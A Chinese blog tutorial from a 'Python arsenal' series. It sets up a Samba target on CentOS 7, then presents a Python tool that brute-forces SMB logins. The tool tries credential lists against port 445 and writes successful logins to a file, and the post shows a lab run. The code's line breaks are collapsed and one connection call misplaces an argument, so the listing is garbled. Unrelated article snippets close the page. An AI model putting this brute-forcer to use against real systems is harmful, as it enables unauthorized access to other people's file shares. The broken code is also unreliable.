Python武器库开发-武器库篇之SMB服务暴力破解(五十五)

Python武器库开发-武器库篇之SMB服务暴力破解(五十五)

SMB服务(Server Message Block)是一种用于文件共享、打印机共享和其他资源共享的网络协议。它最初由IBM开发,后来被微软广泛采用。

SMB服务允许多台计算机在网络上共享文件和资源,从而实现文件的读取、写入和共享。通过SMB服务,用户可以访问其他计算机上的文件、打印机、文件夹和其他共享资源,就像访问本地资源一样。

SMB服务还提供了许多功能和特性,如权限控制、文件锁定、文件和目录的远程操作等。它通过TCP/IP协议在网络上进行通信,并使用NetBIOS或者TCP/IP的名称解析来定位和识别其他计算机上的共享资源。

SMB服务在Windows操作系统中得到广泛应用,并且被很多网络存储设备、打印机和其他网络设备所支持。它是实现文件共享和资源共享的重要协议之一,在企业和家庭网络中都有广泛的应用。

环境准备

首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SMB服务的步骤如下:

  1. 确保CentOS 7已安装samba软件包,如果未安装,请使用以下命令进行安装:
sudo yum install samba

在这里插入图片描述

  1. 使用文本编辑器打开SMB配置文件/etc/samba/smb.conf:
sudo vi /etc/samba/smb.conf

在配置文件中找到合适的全局配置部分(通常是以[global]开头),在其中添加以下内容:

[global]
security = user

这会将SMB服务器的安全模式设置为用户模式。

在这里插入图片描述

  1. 在文件的末尾添加以下内容,定义要共享的文件夹和访问权限:
[share]path = /path/to/shared/foldervalid users = usernameread only = no

在上述示例中,将/path/to/shared/folder替换为您要共享的实际文件夹路径,并将username替换为允许访问此共享的用户名,然后保存并关闭配置文件。

在这里插入图片描述

  1. 配置SMB用户,使用以下命令创建SMB用户,并设置密码:
sudo smbpasswd -a username

在这里插入图片描述

您可以将username替换为将用于访问共享的实际用户名,随后您将被提示输入新密码。

将新用户添加到sudo组,使其具有管理员权限,输入以下命令:

sudo usermod -aG wheel username

其中,"username"是你刚刚创建的新用户的名称。

在这里插入图片描述

  1. 启动和启用SMB服务,使用以下命令启动SMB服务,并将其设置为在系统启动时自动启用:
sudo systemctl start smb
sudo systemctl enable smb
  1. 在防火墙上配置SMB服务。如果防火墙启用了,您需要允许SMB服务的通信。使用以下命令添加防火墙规则:
sudo firewall-cmd --permanent --add-service=samba
sudo firewall-cmd --reload

完成后,您可以使用Windows或其他支持SMB协议的设备访问CentOS 7上的共享文件夹,这样,您就在CentOS 7上成功配置了SMB服务。

破解代码

下来我们用python写一段暴力破解SMB服务的代码,代码内容如下:

import os
from smb.SMBConnection import SMBConnection############################ Clear Consle While Start a Loop ##############################
def clear():os.system('cls')  # on Windows System############################ Collect Single Credential From User Input ##############################
def CollectCredential():remote_ip = input('Enter Host IP:')username = input('Enter SMB Username:')password = input('Enter SMB Password:')domain = input('Enter Domain Name:')return (remote_ip, username, password, domain)############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):ver = []try:file = open(up, 'r')data = file.readlines()print('File Direction Verified.')for line in data:ver.append(line.strip())except:ver.append(up)return verreturn ver############################ Collect File Directions From User Input ##############################
# Support IP, username, password SMB brute force attack,
# user can input single attributes replace one to three attributes with files
def CollectFiles():remote_ip = input('Enter Host IP or File Direction:')remote_ip = VerifyFile(remote_ip)username = input('Enter SMB Username or File Direction:')username = VerifyFile(username)password = input('Enter SMB Password or File Direction:')password = VerifyFile(password)domain = input('Enter Domain Name:')return (remote_ip, username, password, domain)############################ Generate Collected Credentials in to Files ##############################
def GenerateCredentials():try:with open("Credential.txt", mode='w', encoding='utf-8') as ff:for i in range(len(credential)):ff.write(credential[i] + ' ')if (i + 1) % 4 == 0:ff.write('\n')except FileNotFoundError:with open("Credential.txt", mode='w', encoding='utf-8') as ff:for i in range(len(credential)):ff.write(credential[i] + ' ')if (i + 1) % 4 == 0:ff.write('\n')############################ SMB Functions Using SMBConnection ##############################
class SMB(object):def __init__(self, remote_ip, username, password, domain):self.remote_ip = remote_ipself.username = usernameself.password = passwordself.domain = domain############################ Use the Single Credential CollectCredential() to Login ##############################def SingleLoginScanner(self):my_name = ""remote_name = ""try:self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True,sign_options=2, is_direct_tcp=True)connected = self.conn.connect(self.remote_ip, 445)if connected == True:print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (self.remote_ip, self.username, self.password, self.domain))credential.append(self.remote_ip)credential.append(self.username)credential.append(self.password)credential.append(self.domain)print("Credential", credential)else:print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (self.remote_ip, self.username, self.password, self.domain))self.conn.close()except Exception as e:print(e)############################ Use the Multiple Credentials CollectFiles() to Login ##############################def MultiLoginScanner(self):count = 0my_name = ""remote_name = ""for ip in self.remote_ip:for username in self.username:for password in self.password:count += 1try:self.conn = SMBConnection(username, password, self.domain, my_name, remote_name,use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)connected = self.conn.connect(ip, 445)if connected == True:print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (count, ip, username, password, self.domain))credential.append(ip)credential.append(username)credential.append(password)credential.append(self.domain)print("Credential", credential)else:print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (count, ip, username, password, self.domain))self.conn.close()except Exception as e:print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (count, ip, username, password, self.domain))print(e)############################ SMB Functions Support User to Chose ##############################
def main():while (1):print('********************SMB PYTHON TOOKIT********************')print('1. Single credential SMB Login Scanner')print('2. Credentials list from file SMB Brute Force')print('3. Generate Collected Credentials')print('4. Quit')print('*********************************************************\n')chose = input('Type number to pick function:')if chose == '1':print('Only support to input single ip address, username and password.\n')remote_ip, username, password, domain = CollectCredential()smb = SMB(remote_ip, username, password, domain)smb.SingleLoginScanner()elif chose == '2':print('Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')remote_ip, username, password, domain = CollectFiles()smb = SMB(remote_ip, username, password, domain)smb.MultiLoginScanner()elif chose == '3':print('Generating Successful Credentials in a txt file...\n')GenerateCredentials()print('Generated Credential.txt in the same python Directory.\n')else:print('Please input valid number!\n')clear()if __name__ == '__main__':credential = []main()

这段代码是一个SMB(Server Message Block)登录工具的Python脚本,用于验证SMB登录的凭据。

首先,脚本导入了osSMBConnection模块。

然后定义了一个clear函数,用于在启动循环时清除控制台。

接下来是CollectCredential函数,用于从用户输入中收集单个凭据,包括远程主机IP、SMB用户名、SMB密码和域名。

VerifyFile函数用于验证输入文件路径是否正确。如果路径找不到,它会将输入文件路径设置为一个属性。

CollectFiles函数用于从用户输入中收集文件路径。支持输入单个属性,用文件替换一个到三个属性。

GenerateCredentials函数用于将收集到的凭据生成为文本文件。

SMB类是一个SMB的封装类,包含了SMB登录的各种功能。

SingleLoginScanner函数用于使用单个凭据登录。

MultiLoginScanner函数用于使用多个凭据登录。

main函数是脚本的主函数,用于选择SMB登录功能。根据用户的选择,调用相应的函数。

最后,在脚本的主模块中定义了一个空的credential列表,用于存储登录成功的凭据。

当脚本作为独立的程序运行时,会调用main函数开始执行。

运行实验

接下来我们在实际运行这段代码试验一下,如图程序首先会要求我们选择一个破解的选项,我们这里选择 1 ,(单凭据破解):

在这里插入图片描述

随后程序会要求我们输入要破解的SMB服务的主机IP地址、登录用户名和破解密码,这里我们输入,域名如果没有的话我们可以选择不输入:

在这里插入图片描述

最后,如图我们成功登录了SMB服务:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/356046.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

中石化加油卡有什么用?

对于有车一族来说,有一张加油卡真的可以省下不少钱 但是像我们这种没车的人,即使得到加油卡也毫无用武之地 久而久之,难免会造成卡过期的情况出现 还好,前两天把我手上堆积了好久的加油卡在收卡云上卖出去了,99折真…

QT

#include "widget.h" #include "ui_widget.h" Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) ,Gcancle(new QPushButton("取消",this)) ,EmmEdit(new QLineEdit(this)) { ui->setupUi(this);…

怎么看电脑实时充电功率

因为我想测试不同的充电器给电脑充电的速度,所以就想找一款软件可以看电脑当前充电功率的软件,我给一个图 直接搜索就可以下载了,charge rate就是功率,这里是毫瓦,换算单位是 1000mw1w 所以我这里充电功率是65w&…

福建聚鼎:装饰画现在做起来难吗

在当代社会,艺术创作已经成为很多人表达自我、追求美学生活的方式之一。装饰画作为家居装饰的重要元素,也受到了越来越多人的喜爱。但做一个优质的装饰画真的容易吗? 从技术层面讲,随着科技的发展,制作装饰画的手段和材料都比以往…

HTML和CSS基础(一)

前言 HTML(HyperText Markup Language)是一种用于创建网页的标准标记语言。它由各种标签组成,这些标签定义了网页的结构和内容。HTML的早期形式诞生于1989年,由CERN的物理学家Tim Berners-Lee发明,最初用于在科学家之…

IPTCP知识

1. IP: IP地址是一个32位的二进制数,通常被分割为4个“8位二进制数”IP地址分类:A类地址、B类地址、C类地址、D类地址、E类地址 A类地址分配给规模特别大的网络使用,B类地址分配给一般的中型网络,C类地址分配给小型网…

Day 29:1600. 王位继承顺序

Leetcode1600. 王位继承顺序 一个王国里住着国王、他的孩子们、他的孙子们等等。每一个时间点,这个家庭里有人出生也有人死亡。 这个王国有一个明确规定的王位继承顺序,第一继承人总是国王自己。我们定义递归函数 Successor(x, curOrder) ,给…

DN-DETR

可以看到,与 DAB-DETR 相比,最大的差别仍然在 decoder 处,主要是 query 的输入。DN-DETR 认为可以把对 offsets 的学习,看作一种对噪声学习的过程,因此,可以直接在 GT 周围生成一些 noised boxes&#xff0…

ASP.NET Core 6.0 使用 Log4Net 和 Nlog日志中间件

前言 两年前,浅浅的学过 .NET 6,为啥要记录下来,大概是为了以后搭架子留下引线,还有抛砖引玉。 1. 环境准备 下载 建议使用 Visual Studio 2022 开发版 官网的下载地址:Visual Studio 2022 IDE - 适用于软件开发人员的编程工具借助 Visual Studio 设计,具有自动完成…

【MySQL】 -- 事务

如果对表中的数据进行CRUD操作时,不加控制,会带来一些问题。 比如下面这种场景: 有一个tickets表,这个数据库被两个客户端机器A和B用时连接对此表进行操作。客户端A检查tickets表中还有一张票的时候,将票出售了&#x…

面试官:JavaScript执行机制中的闭包?

前言 JavaScript 中的闭包指的是一个函数以及其捆绑的周边环境状态的引用的组合。闭包可以让开发者从内部函数访问外部函数的作用域,即使外部函数已经执行完毕 今天我们通过JavaScript执行机制来聊聊闭包 正文 首先来分析这段代码的执行机制,这段代码…

太牛了!AI换脸数字人,限制解除,免费用!

哈喽,各位小伙伴们好,我是给大家带来各类黑科技与前沿资讯的小武。 今天给大家安利一款美图公司出品的神器,功能限制完全解除,可以免费使用AI换脸数字人、AI提词器、AI脚本、AI抠图、AI清除、AI封面等超多超实用功能,…

Freertos-----任务之间的消息传递(使用消息队列信号量方法)

这次来分享任务之间的数据传递的方法,方法有很多种,我展示2种,让大家对freertos有更深刻的印象 目录 消息队列 信号量 消息队列 首先直接打开普中的例程,然后在里面加上ADC的驱动代码,先初始化外设先,我…

【ARMv8/ARMv9 硬件加速系列 1 -- SVE | NEON | SIMD | VFP | MVE | MPE 基础介绍】

文章目录 ARM 扩展功能介绍VFP (Vector Floating Point)SIMD (Single Instruction, Multiple Data)NEONSVE (Scalable Vector Extension)SME (Scalable Matrix Extension)CME (Compute Matrix Engine)MVE (M-profile Vector Extension)MPE (Media Processing Engine)总结 ARM 扩…

【刷力扣】23. 合并 K 个升序链表(dummy节点技巧 + 分治思维 + 优先队列)

目录 一、合并升序链表问题二、题目:[21. 合并两个有序链表](https://leetcode.cn/problems/merge-two-sorted-lists/description/)1、掌握dummy节点的技巧 三、题目:[23. 合并 K 个升序链表](https://leetcode.cn/problems/merge-k-sorted-lists/descri…

ASP.NET Core 6.0 启动方式

启动方式 Visualstudio 2022启动 IIS Express IIS Express 是一个专为开发人员优化的轻型独立版本的 IIS。 借助 IIS Express,可以轻松地使用最新版本的 IIS 开发和测试网站。 控制台版面 直接在浏览器输入监听的地址,监听的是 http://localhost:5137 脚本启动 dotnet run…

Dockerfile 自定义镜像

大家好 , 今天我要和大家分享一个现代软件开发中不可或缺的工具 - Docker . 在这个快速发展的技术时代 , 我们经常面临着应用部署的复杂性、环境差异以及不同操作系统之间的兼容性问题 . 这些问题不仅消耗大量时间 , 还可能导致项目延期和成本增加 . Docker 的出现解决了我们在…

成都晨持绪:现在的抖音网店怎么做更快起店

在当今社交媒体的浪潮中,抖音已经成为一个不可忽视的电商平台。对于想要快速起步的抖音网店来说,掌握一些关键策略至关重要。 首要的是定位清晰。你的网店需要有一个鲜明的主题,这可以是某一特定领域的产品,如美妆、服饰或是手工艺…

银河麒麟V10安装docker和docker-compose

1. 说明 系统镜像使用的是Kylin-Server-V10-SP3-2403-Release-20240426-x86_64.iso如果是在VMware中安装这个系统,需选择Ubuntu,如果选Centos会有问题。 尝试使用在线方式安装docker,报了很多错误,比较麻烦,建议使用离…

分享由AI制定一个商城网站的开发计划及推荐的开发语言

商城网站开发计划 一、项目概述 本商城网站开发计划旨在创建一个功能齐全、用户友好的在线购物平台,为顾客提供商品浏览、搜索、购物车管理、订单跟踪、在线支付等服务。商城将支持多种商品分类,包括但不限于电子产品、家居用品、服饰鞋帽等。 二、开…